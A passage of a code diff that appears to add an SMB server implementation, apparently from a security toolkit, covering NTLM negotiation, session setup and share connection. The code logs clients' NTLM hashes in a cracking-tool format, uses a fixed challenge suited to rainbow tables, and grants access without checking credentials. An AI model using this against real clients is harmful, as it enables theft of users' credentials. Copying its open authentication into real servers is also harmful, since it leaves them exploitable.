+                        respParameters['SecurityBlobLength'] = len(respToken)
+                        respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
+                        respData['SecurityBlob'] = respToken
+                        respData['NativeOS'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())
+                        respData['NativeLanMan'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())
+                        respSMBCommand['Parameters'] = respParameters
+                        respSMBCommand['Data'] = respData
+                        return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
+
+            elif struct.unpack('B', sessionSetupData['SecurityBlob'][0:1])[0] == ASN1_SUPPORTED_MECH:
+                # AUTH packet
+                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
+                token = blob['ResponseToken']
+            else:
+                # No GSSAPI stuff, raw NTLMSSP
+                rawNTLM = True
+                token = sessionSetupData['SecurityBlob']
+
+            # Here we only handle NTLMSSP, depending on what stage of the
+            # authentication we are, we act on it
+            messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
+
+            if messageType == 0x01:
+                # NEGOTIATE_MESSAGE
+                negotiateMessage = ntlm.NTLMAuthNegotiate()
+                negotiateMessage.fromString(token)
+                # Let's store it in the connection data
+                connData['NEGOTIATE_MESSAGE'] = negotiateMessage
+                # Let's build the answer flags
+                # TODO: Parse all the flags. With this we're leaving some clients out
+
+                ansFlags = 0
+
+                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56:
+                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56
+                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128:
+                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128
+                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
+                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
+                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
+                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE
+                if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM:
+                    ansFlags |= ntlm.NTLM_NEGOTIATE_OEM
+
+                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_REQUEST_TARGET
+
+                # Generate the AV_PAIRS
+                av_pairs = ntlm.AV_PAIRS()
+                # TODO: Put the proper data from SMBSERVER config
+                av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] = av_pairs[
+                    ntlm.NTLMSSP_AV_DNS_HOSTNAME] = smbServer.getServerName().encode('utf-16le')
+                av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] = av_pairs[
+                    ntlm.NTLMSSP_AV_DNS_DOMAINNAME] = smbServer.getServerDomain().encode('utf-16le')
+                av_pairs[ntlm.NTLMSSP_AV_TIME] = struct.pack('<q', (
+                            116444736000000000 + calendar.timegm(time.gmtime()) * 10000000))
+
+                challengeMessage = ntlm.NTLMAuthChallenge()
+                challengeMessage['flags'] = ansFlags
+                challengeMessage['domain_len'] = len(smbServer.getServerDomain().encode('utf-16le'))
+                challengeMessage['domain_max_len'] = challengeMessage['domain_len']
+                challengeMessage['domain_offset'] = 40 + 16
+                challengeMessage['challenge'] = smbServer.getSMBChallenge()
+                challengeMessage['domain_name'] = smbServer.getServerDomain().encode('utf-16le')
+                challengeMessage['TargetInfoFields_len'] = len(av_pairs)
+                challengeMessage['TargetInfoFields_max_len'] = len(av_pairs)
+                challengeMessage['TargetInfoFields'] = av_pairs
+                challengeMessage['TargetInfoFields_offset'] = 40 + 16 + len(challengeMessage['domain_name'])
+                challengeMessage['Version'] = b'\xff' * 8
+                challengeMessage['VersionLen'] = 8
+
+                if rawNTLM is False:
+                    respToken = SPNEGO_NegTokenResp()
+                    # accept-incomplete. We want more data
+                    respToken['NegState'] = b'\x01'
+                    respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
+
+                    respToken['ResponseToken'] = challengeMessage.getData()
+                else:
+                    respToken = challengeMessage
+
+                # Setting the packet to STATUS_MORE_PROCESSING
+                errorCode = STATUS_MORE_PROCESSING_REQUIRED
+                # Let's set up an UID for this connection and store it
+                # in the connection's data
+                # Picking a fixed value
+                # TODO: Manage more UIDs for the same session
+                connData['Uid'] = 10
+                # Let's store it in the connection data
+                connData['CHALLENGE_MESSAGE'] = challengeMessage
+
+            elif messageType == 0x02:
+                # CHALLENGE_MESSAGE
+                raise Exception('Challenge Message raise, not implemented!')
+
+            elif messageType == 0x03:
+                # AUTHENTICATE_MESSAGE, here we deal with authentication
+                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
+                authenticateMessage.fromString(token)
+                smbServer.log("AUTHENTICATE_MESSAGE (%s\\%s,%s)" % (
+                    authenticateMessage['domain_name'].decode('utf-16le'),
+                    authenticateMessage['user_name'].decode('utf-16le'),
+                    authenticateMessage['host_name'].decode('utf-16le')))
+                # Do we have credentials to check?
+                if len(smbServer.getCredentials()) > 0:
+                    identity = authenticateMessage['user_name'].decode('utf-16le').lower()
+                    # Do we have this user's credentials?
+                    if identity in smbServer.getCredentials():
+                        # Process data:
+                        # Let's parse some data and keep it to ourselves in case it is asked
+                        uid, lmhash, nthash = smbServer.getCredentials()[identity]
+
+                        errorCode, sessionKey = computeNTLMv2(identity, lmhash, nthash, smbServer.getSMBChallenge(),
+                                                              authenticateMessage, connData['CHALLENGE_MESSAGE'],
+                                                              connData['NEGOTIATE_MESSAGE'])
+
+                        if sessionKey is not None:
+                            connData['SignatureEnabled'] = False
+                            connData['SigningSessionKey'] = sessionKey
+                            connData['SignSequenceNumber'] = 1
+                    else:
+                        errorCode = STATUS_LOGON_FAILURE
+                else:
+                    # No credentials provided, let's grant access
+                    errorCode = STATUS_SUCCESS
+
+                if errorCode == STATUS_SUCCESS:
+                    connData['Authenticated'] = True
+                    respToken = SPNEGO_NegTokenResp()
+                    # accept-completed
+                    respToken['NegState'] = b'\x00'
+
+                    smbServer.log(
+                        'User %s\\%s authenticated successfully' % (authenticateMessage['host_name'].decode('utf-16le'),
+                                                                    authenticateMessage['user_name'].decode(
+                                                                        'utf-16le')))
+                    # Let's store it in the connection data
+                    connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
+                    try:
+                        jtr_dump_path = smbServer.getJTRdumpPath()
+                        ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
+                                                            authenticateMessage['user_name'],
+                                                            authenticateMessage['domain_name'],
+                                                            authenticateMessage['lanman'], authenticateMessage['ntlm'])
+                        smbServer.log(ntlm_hash_data['hash_string'])
+                        if jtr_dump_path != '':
+                            writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
+                                                  jtr_dump_path)
+                    except:
+                        smbServer.log("Could not write NTLM Hashes to the specified JTR_Dump_Path %s" % jtr_dump_path)
+                else:
+                    respToken = SPNEGO_NegTokenResp()
+                    respToken['NegState'] = b'\x02'
+                    smbServer.log("Could not authenticate user!")
+                if smbServer.auth_callback is not None:
+                    try:
+                        smbServer.auth_callback(
+                            smbServer=smbServer,
+                            connData=connData,
+                            domain_name=authenticateMessage['domain_name'].decode('utf-16le'),
+                            user_name=authenticateMessage['user_name'].decode('utf-16le'),
+                            host_name=authenticateMessage['host_name'].decode('utf-16le')
+                        )
+                    except Exception as e:
+                        print("[!] Could not call auth_callback: %s" % e)
+
+            else:
+                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
+
+            respParameters['SecurityBlobLength'] = len(respToken)
+            respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
+            respData['SecurityBlob'] = respToken.getData()
+
+        else:
+            # Process Standard Security
+            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
+            respData = smb.SMBSessionSetupAndXResponse_Data()
+            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
+            sessionSetupData = smb.SMBSessionSetupAndX_Data()
+            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
+            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
+            sessionSetupData.fromString(SMBCommand['Data'])
+            connData['Capabilities'] = sessionSetupParameters['Capabilities']
+            # Do the verification here, for just now we grant access
+            # TODO: Manage more UIDs for the same session
+            errorCode = STATUS_SUCCESS
+            connData['Uid'] = 10
+            connData['Authenticated'] = True
+            respParameters['Action'] = 0
+            smbServer.log('User %s\\%s authenticated successfully (basic)' % (
+            sessionSetupData['PrimaryDomain'], sessionSetupData['Account']))
+            try:
+                jtr_dump_path = smbServer.getJTRdumpPath()
+                ntlm_hash_data = outputToJohnFormat(b'', b(sessionSetupData['Account']),
+                                                    b(sessionSetupData['PrimaryDomain']), sessionSetupData['AnsiPwd'],
+                                                    sessionSetupData['UnicodePwd'])
+                smbServer.log(ntlm_hash_data['hash_string'])
+                if jtr_dump_path != '':
+                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], jtr_dump_path)
+            except:
+                smbServer.log("Could not write NTLM Hashes to the specified JTR_Dump_Path %s" % jtr_dump_path)
+
+        respData['NativeOS'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())
+        respData['NativeLanMan'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+
+        # From now on, the client can ask for other commands
+        connData['Authenticated'] = True
+        # For now, just switching to nobody
+        # os.setregid(65534,65534)
+        # os.setreuid(65534,65534)
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComNegotiate(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId, checkStatus=False)
+        connData['Pid'] = recvPacket['Pid']
+
+        SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)
+
+        resp = smb.NewSMBPacket()
+        resp['Flags1'] = smb.SMB.FLAGS1_REPLY
+        resp['Pid'] = connData['Pid']
+        resp['Tid'] = recvPacket['Tid']
+        resp['Mid'] = recvPacket['Mid']
+
+        # TODO: We support more dialects, and parse them accordingly
+        dialects = SMBCommand['Data'].split(b'\x02')
+        try:
+            index = dialects.index(b'NT LM 0.12\x00') - 1
+            # Let's fill the data for NTLM
+            if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY:
+                resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_UNICODE
+                # resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS
+                _dialects_data = smb.SMBExtended_Security_Data()
+                _dialects_data['ServerGUID'] = b'A' * 16
+                blob = SPNEGO_NegTokenInit()
+                blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
+                _dialects_data['SecurityBlob'] = blob.getData()
+
+                _dialects_parameters = smb.SMBExtended_Security_Parameters()
+                _dialects_parameters[
+                    'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS | smb.SMB.CAP_NT_SMBS | smb.SMB.CAP_UNICODE
+                _dialects_parameters['ChallengeLength'] = 0
+
+            else:
+                resp['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_UNICODE
+                _dialects_parameters = smb.SMBNTLMDialect_Parameters()
+                _dialects_data = smb.SMBNTLMDialect_Data()
+                _dialects_data['Payload'] = ''
+                if 'EncryptionKey' in connData:
+                    _dialects_data['Challenge'] = connData['EncryptionKey']
+                    _dialects_parameters['ChallengeLength'] = len(_dialects_data.getData())
+                else:
+                    # TODO: Handle random challenges, now one that can be used with rainbow tables
+                    _dialects_data['Challenge'] = b'\x11\x22\x33\x44\x55\x66\x77\x88'
+                    _dialects_parameters['ChallengeLength'] = 8
+                _dialects_parameters['Capabilities'] = smb.SMB.CAP_USE_NT_ERRORS | smb.SMB.CAP_NT_SMBS
+
+                # Let's see if we need to support RPC_REMOTE_APIS
+            config = smbServer.getServerConfig()
+            if config.has_option('global', 'rpc_apis'):
+                if config.getboolean('global', 'rpc_apis') is True:
+                    _dialects_parameters['Capabilities'] |= smb.SMB.CAP_RPC_REMOTE_APIS
+
+            _dialects_parameters['DialectIndex'] = index
+            # _dialects_parameters['SecurityMode']    = smb.SMB.SECURITY_AUTH_ENCRYPTED | smb.SMB.SECURITY_SHARE_USER | smb.SMB.SECURITY_SIGNATURES_REQUIRED
+            _dialects_parameters['SecurityMode'] = smb.SMB.SECURITY_AUTH_ENCRYPTED | smb.SMB.SECURITY_SHARE_USER
+            _dialects_parameters['MaxMpxCount'] = 1
+            _dialects_parameters['MaxNumberVcs'] = 1
+            _dialects_parameters['MaxBufferSize'] = 64000
+            _dialects_parameters['MaxRawSize'] = 65536
+            _dialects_parameters['SessionKey'] = 0
+            _dialects_parameters['LowDateTime'] = 0
+            _dialects_parameters['HighDateTime'] = 0
+            _dialects_parameters['ServerTimeZone'] = 0
+
+            respSMBCommand['Data'] = _dialects_data
+            respSMBCommand['Parameters'] = _dialects_parameters
+            connData['_dialects_data'] = _dialects_data
+            connData['_dialects_parameters'] = _dialects_parameters
+
+        except Exception as e:
+            # No NTLM throw an error
+            smbServer.log('smbComNegotiate: %s' % e, logging.ERROR)
+            respSMBCommand['Data'] = struct.pack('<H', 0xffff)
+
+        smbServer.setConnectionData(connId, connData)
+
+        resp.addCommand(respSMBCommand)
+
+        return None, [resp], STATUS_SUCCESS
+
+    @staticmethod
+    def default(connId, smbServer, SMBCommand, recvPacket):
+        # By default we return an SMB Packet with error not implemented
+        smbServer.log("Not implemented command: 0x%x" % recvPacket['Command'], logging.DEBUG)
+        packet = smb.NewSMBPacket()
+        packet['Flags1'] = smb.SMB.FLAGS1_REPLY
+        packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS
+        packet['Command'] = recvPacket['Command']
+        packet['Pid'] = recvPacket['Pid']
+        packet['Tid'] = recvPacket['Tid']
+        packet['Mid'] = recvPacket['Mid']
+        packet['Uid'] = recvPacket['Uid']
+        packet['Data'] = b'\x00\x00\x00'
+        errorCode = STATUS_NOT_IMPLEMENTED
+        packet['ErrorCode'] = errorCode >> 16
+        packet['ErrorClass'] = errorCode & 0xff
+
+        return None, [packet], errorCode
+
+
+class SMB2Commands:
+    @staticmethod
+    def smb2Negotiate(connId, smbServer, recvPacket, isSMB1=False):
+        connData = smbServer.getConnectionData(connId, checkStatus=False)
+
+        respPacket = smb2.SMB2Packet()
+        respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR
+        respPacket['Status'] = STATUS_SUCCESS
+        respPacket['CreditRequestResponse'] = 1
+        respPacket['Command'] = smb2.SMB2_NEGOTIATE
+        respPacket['SessionID'] = 0
+        if isSMB1 is False:
+            respPacket['MessageID'] = recvPacket['MessageID']
+        else:
+            respPacket['MessageID'] = 0
+        respPacket['TreeID'] = 0
+
+        respSMBCommand = smb2.SMB2Negotiate_Response()
+
+        respSMBCommand['SecurityMode'] = 1
+        if isSMB1 is True:
+            # Let's first parse the packet to see if the client supports SMB2
+            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
+
+            dialects = SMBCommand['Data'].split(b'\x02')
+            if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
+                respSMBCommand['DialectRevision'] = smb2.SMB2_DIALECT_002
+            else:
+                # Client does not support SMB2 fallbacking
+                raise Exception('SMB2 not supported, fallbacking')
+        else:
+            respSMBCommand['DialectRevision'] = smb2.SMB2_DIALECT_002
+        respSMBCommand['ServerGuid'] = b'A' * 16
+        respSMBCommand['Capabilities'] = 0
+        respSMBCommand['MaxTransactSize'] = 65536
+        respSMBCommand['MaxReadSize'] = 65536
+        respSMBCommand['MaxWriteSize'] = 65536
+        respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
+        respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
+        respSMBCommand['SecurityBufferOffset'] = 0x80
+
+        blob = SPNEGO_NegTokenInit()
+        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
+
+        respSMBCommand['Buffer'] = blob.getData()
+        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
+
+        respPacket['Data'] = respSMBCommand
+
+        smbServer.setConnectionData(connId, connData)
+
+        return None, [respPacket], STATUS_SUCCESS
+
+    @staticmethod
+    def smb2SessionSetup(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId, checkStatus=False)
+
+        respSMBCommand = smb2.SMB2SessionSetup_Response()
+
+        sessionSetupData = smb2.SMB2SessionSetup(recvPacket['Data'])
+
+        connData['Capabilities'] = sessionSetupData['Capabilities']
+
+        securityBlob = sessionSetupData['Buffer']
+
+        rawNTLM = False
+        if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:
+            # NEGOTIATE packet
+            blob = SPNEGO_NegTokenInit(securityBlob)
+            token = blob['MechToken']
+            if len(blob['MechTypes'][0]) > 0:
+                # Is this GSSAPI NTLM or something else we don't support?
+                mechType = blob['MechTypes'][0]
+                if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']:
+                    # Nope, do we know it?
+                    if mechType in MechTypes:
+                        mechStr = MechTypes[mechType]
+                    else:
+                        mechStr = hexlify(mechType)
+                    smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
+                    # We don't know the token, we answer back again saying
+                    # we just support NTLM.
+                    # ToDo: Build this into a SPNEGO_NegTokenResp()
+                    respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
+                    respSMBCommand['SecurityBufferOffset'] = 0x48
+                    respSMBCommand['SecurityBufferLength'] = len(respToken)
+                    respSMBCommand['Buffer'] = respToken
+
+                    return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
+        elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
+            # AUTH packet
+            blob = SPNEGO_NegTokenResp(securityBlob)
+            token = blob['ResponseToken']
+        else:
+            # No GSSAPI stuff, raw NTLMSSP
+            rawNTLM = True
+            token = securityBlob
+
+        # Here we only handle NTLMSSP, depending on what stage of the
+        # authentication we are, we act on it
+        messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
+
+        if messageType == 0x01:
+            # NEGOTIATE_MESSAGE
+            negotiateMessage = ntlm.NTLMAuthNegotiate()
+            negotiateMessage.fromString(token)
+            # Let's store it in the connection data
+            connData['NEGOTIATE_MESSAGE'] = negotiateMessage
+            # Let's build the answer flags
+            # TODO: Parse all the flags. With this we're leaving some clients out
+
+            ansFlags = 0
+
+            if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56:
+                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56
+            if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128:
+                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128
+            if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
+                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
+            if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
+            if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE
+            if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM:
+                ansFlags |= ntlm.NTLM_NEGOTIATE_OEM
+
+            ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_REQUEST_TARGET
+
+            # Generate the AV_PAIRS
+            av_pairs = ntlm.AV_PAIRS()
+            # TODO: Put the proper data from SMBSERVER config
+            av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] = av_pairs[
+                ntlm.NTLMSSP_AV_DNS_HOSTNAME] = smbServer.getServerName().encode('utf-16le')
+            av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] = av_pairs[
+                ntlm.NTLMSSP_AV_DNS_DOMAINNAME] = smbServer.getServerDomain().encode('utf-16le')
+            av_pairs[ntlm.NTLMSSP_AV_TIME] = struct.pack('<q', (
+                        116444736000000000 + calendar.timegm(time.gmtime()) * 10000000))
+
+            challengeMessage = ntlm.NTLMAuthChallenge()
+            challengeMessage['flags'] = ansFlags
+            challengeMessage['domain_len'] = len(smbServer.getServerDomain().encode('utf-16le'))
+            challengeMessage['domain_max_len'] = challengeMessage['domain_len']
+            challengeMessage['domain_offset'] = 40 + 16
+            challengeMessage['challenge'] = smbServer.getSMBChallenge()
+            challengeMessage['domain_name'] = smbServer.getServerDomain().encode('utf-16le')
+            challengeMessage['TargetInfoFields_len'] = len(av_pairs)
+            challengeMessage['TargetInfoFields_max_len'] = len(av_pairs)
+            challengeMessage['TargetInfoFields'] = av_pairs
+            challengeMessage['TargetInfoFields_offset'] = 40 + 16 + len(challengeMessage['domain_name'])
+            challengeMessage['Version'] = b'\xff' * 8
+            challengeMessage['VersionLen'] = 8
+
+            if rawNTLM is False:
+                respToken = SPNEGO_NegTokenResp()
+                # accept-incomplete. We want more data
+                respToken['NegState'] = b'\x01'
+                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
+
+                respToken['ResponseToken'] = challengeMessage.getData()
+            else:
+                respToken = challengeMessage
+
+            # Setting the packet to STATUS_MORE_PROCESSING
+            errorCode = STATUS_MORE_PROCESSING_REQUIRED
+            # Let's set up an UID for this connection and store it
+            # in the connection's data
+            # Picking a fixed value
+            # TODO: Manage more UIDs for the same session
+            connData['Uid'] = random.randint(1, 0xffffffff)
+            # Let's store it in the connection data
+            connData['CHALLENGE_MESSAGE'] = challengeMessage
+
+        elif messageType == 0x02:
+            # CHALLENGE_MESSAGE
+            raise Exception('Challenge Message raise, not implemented!')
+        elif messageType == 0x03:
+            # AUTHENTICATE_MESSAGE, here we deal with authentication
+            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
+            authenticateMessage.fromString(token)
+            smbServer.log("AUTHENTICATE_MESSAGE (%s\\%s,%s)" % (
+                authenticateMessage['domain_name'].decode('utf-16le'),
+                authenticateMessage['user_name'].decode('utf-16le'),
+                authenticateMessage['host_name'].decode('utf-16le')))
+
+            isGuest = False
+            isAnonymus = False
+
+            # TODO: Check the credentials! Now granting permissions
+            # Do we have credentials to check?
+            if len(smbServer.getCredentials()) > 0:
+                identity = authenticateMessage['user_name'].decode('utf-16le').lower()
+                # Do we have this user's credentials?
+                if identity in smbServer.getCredentials():
+                    # Process data:
+                    # Let's parse some data and keep it to ourselves in case it is asked
+                    uid, lmhash, nthash = smbServer.getCredentials()[identity]
+
+                    errorCode, sessionKey = computeNTLMv2(identity, lmhash, nthash, smbServer.getSMBChallenge(),
+                                                          authenticateMessage, connData['CHALLENGE_MESSAGE'],
+                                                          connData['NEGOTIATE_MESSAGE'])
+
+                    if sessionKey is not None:
+                        connData['SignatureEnabled'] = True
+                        connData['SigningSessionKey'] = sessionKey
+                        connData['SignSequenceNumber'] = 1
+                else:
+                    errorCode = STATUS_LOGON_FAILURE
+            else:
+                # No credentials provided, let's grant access
+                if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_ANONYMOUS:
+                    isAnonymus = True
+                    if smbServer._SMBSERVER__anonymousLogon == False:
+                        errorCode = STATUS_ACCESS_DENIED
+                    else:
+                        errorCode = STATUS_SUCCESS
+                else:
+                    isGuest = True
+                    errorCode = STATUS_SUCCESS
+
+            if errorCode == STATUS_SUCCESS:
+                connData['Authenticated'] = True
+                respToken = SPNEGO_NegTokenResp()
+                # accept-completed
+                respToken['NegState'] = b'\x00'
+                smbServer.log('User %s\\%s authenticated successfully' % (
+                    authenticateMessage['host_name'].decode('utf-16le'),
+                    authenticateMessage['user_name'].decode('utf-16le')))
+                # Let's store it in the connection data
+                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
+                try:
+                    jtr_dump_path = smbServer.getJTRdumpPath()
+                    ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
+                                                        authenticateMessage['user_name'],
+                                                        authenticateMessage['domain_name'],
+                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
+                    smbServer.log(ntlm_hash_data['hash_string'])
+                    if jtr_dump_path != '':
+                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
+                                              jtr_dump_path)
+                except:
+                    smbServer.log("Could not write NTLM Hashes to the specified JTR_Dump_Path %s" % jtr_dump_path)
+
+                if isGuest:
+                    respSMBCommand['SessionFlags'] = 1
+                elif isAnonymus:
+                    respSMBCommand['SessionFlags'] = 2
+
+            else:
+                respToken = SPNEGO_NegTokenResp()
+                respToken['NegState'] = b'\x02'
+                smbServer.log("Could not authenticate user!")
+
+            if smbServer.auth_callback is not None:
+                try:
+                    smbServer.auth_callback(
+                        smbServer=smbServer,
+                        connData=connData,
+                        domain_name=authenticateMessage['domain_name'].decode('utf-16le'),
+                        user_name=authenticateMessage['user_name'].decode('utf-16le'),
+                        host_name=authenticateMessage['host_name'].decode('utf-16le')
+                    )
+                except Exception as e:
+                    print("[!] Could not call auth_callback: %s" % e)
+
+        else:
+            raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
+
+        respSMBCommand['SecurityBufferOffset'] = 0x48
+        respSMBCommand['SecurityBufferLength'] = len(respToken)
+        respSMBCommand['Buffer'] = respToken.getData()
+
+        # From now on, the client can ask for other commands
+        connData['Authenticated'] = True
+        # For now, just switching to nobody
+        # os.setregid(65534,65534)
+        # os.setreuid(65534,65534)
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smb2TreeConnect(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respPacket = smb2.SMB2Packet()
+        respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR
+        respPacket['Status'] = STATUS_SUCCESS
+        respPacket['CreditRequestResponse'] = 1
+        respPacket['Command'] = recvPacket['Command']
+        respPacket['SessionID'] = connData['Uid']
+        respPacket['Reserved'] = recvPacket['Reserved']
+        respPacket['MessageID'] = recvPacket['MessageID']
+        respPacket['TreeID'] = recvPacket['TreeID']
+
+        respSMBCommand = smb2.SMB2TreeConnect_Response()
+
+        treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data'])
+
+        errorCode = STATUS_SUCCESS
+
+        ## Process here the request, does the share exist?
+        path = recvPacket.getData()[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']]
+        UNCOrShare = path.decode('utf-16le')
+
+        # Is this a UNC?
+        if ntpath.ismount(UNCOrShare):
+            path = UNCOrShare.split('\\')[3]
+        else:
+            path = ntpath.basename(UNCOrShare)
+
+        share = searchShare(connId, path.upper(), smbServer)
+        if share is not None:
+            # Simple way to generate a Tid
+            if len(connData['ConnectedShares']) == 0:
+                tid = 1
+            else:
+                tid = list(connData['ConnectedShares'].keys())[-1] + 1
+            connData['ConnectedShares'][tid] = share
+            connData['ConnectedShares'][tid]['shareName'] = path
+            respPacket['TreeID'] = tid
+            smbServer.log("Connecting Share(%d:%s)" % (tid, path))
+        else:
+            smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR)
+            errorCode = STATUS_OBJECT_PATH_NOT_FOUND
+            respPacket['Status'] = errorCode
+        ##
+
+        if path.upper() == 'IPC$':
+            respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE
+            respSMBCommand['ShareFlags'] = 0x30
+        else:
+            respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK
+            respSMBCommand['ShareFlags'] = 0x0
+
+        respSMBCommand['Capabilities'] = 0
+        respSMBCommand['MaximalAccess'] = 0x000f01ff
+
+        respPacket['Data'] = respSMBCommand
+
+        # Sign the packet if needed
+        if connData['SignatureEnabled']:
+            smbServer.signSMBv2(respPacket, connData['SigningSessionKey'])
+        smbServer.setConnectionData(connId, connData)
+
+        return None, [respPacket], errorCode
+
+    @staticmethod
+    def smb2Create(connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb2.SMB2Create_Response()
+
+        ntCreateRequest = smb2.SMB2Create(recvPacket['Data'])
+
+        respSMBCommand['Buffer'] = b'\x00'
+        # Get the Tid associated
+        if recvPacket['TreeID'] in connData['ConnectedShares']:
+            # If we have a rootFid, the path is relative to that fid
+            errorCode = STATUS_SUCCESS
+            if 'path' in connData['ConnectedShares'][recvPacket['TreeID']]:
